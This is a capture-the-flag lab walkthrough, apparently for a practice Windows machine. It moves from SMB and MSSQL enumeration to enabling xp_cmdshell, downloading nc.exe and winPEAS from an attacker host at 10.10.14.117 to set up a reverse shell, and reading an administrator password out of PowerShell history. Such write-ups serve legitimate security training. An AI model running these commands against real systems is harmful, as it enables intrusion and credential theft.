== Enumeration ==

In the enumeration stage I start off by doing an NMAP scan.

There are a couple of interesting ports open, among other things port 445 (SMB) and 1433 (mssql).

I'll run 'enum4linux' against the server. The interesting take from that scan was that it dosent require username or password to connect to SMB.

enum4linux -H 10.10.10.27

We'll try and connect to SMB using 'smbclient'.

== Gain access ==

I found a username and a password. I will use those creds to try and connect to mssql. Using [https://github.com/SecureAuthCorp/impacket impackts]'mssqlclient.py' to connect to mssql.

SQL> help

lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd

</pre>

From the help menu I can see that I can execute arbitrary commands on the SQL server. I'll use [https://github.com/int0x33/nc.exe?files=1 int0x33]'s 'nc.exe', send this to the target machine, and try and get a reverse shell.

# Terminal 1 attacker - in the same dir as nc.exe
sudo python3 -m http.server 8080

# Terminal 2 target SQL
SQL> enable_xp_cmdshell
SQL> reconfigure
SQL> xp_cmdshell "powershell wget http://10.10.14.117:8080/nc.exe -OutFile %temp%/nc.exe"
output

'''''rlwrap '''gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell''.

== PrivSec ==

Using [https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat carlospolop's]winPEAS.bat we can find possible privsec vectors. Its an amazing tool that you should have in your toolbox. Its available for Linux aswell.

We'll send the 'winPEAS.bat' to the target using http.server.

SQL> xp_cmdshell "powershell wget http://10.10.14.117:8080/winPEASbat -OutFile %temp%/winpeas.bat"

# From the reverse shell
C:\Users\sql_svc> cd %temp%
C:\Users\sql_svc\AppData\Local\Temp>winpeas.bat

</pre>

This will run the winpeas.bat, and it takes a while to run. From the winpeas.bat we find an interesting file 'C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine'. From the file we find the password for 'administrator' , which is 'MEGACORP_4dm1n!!'. Using that info, we can use impackts psexec.py to login to administrator and get the root flag.
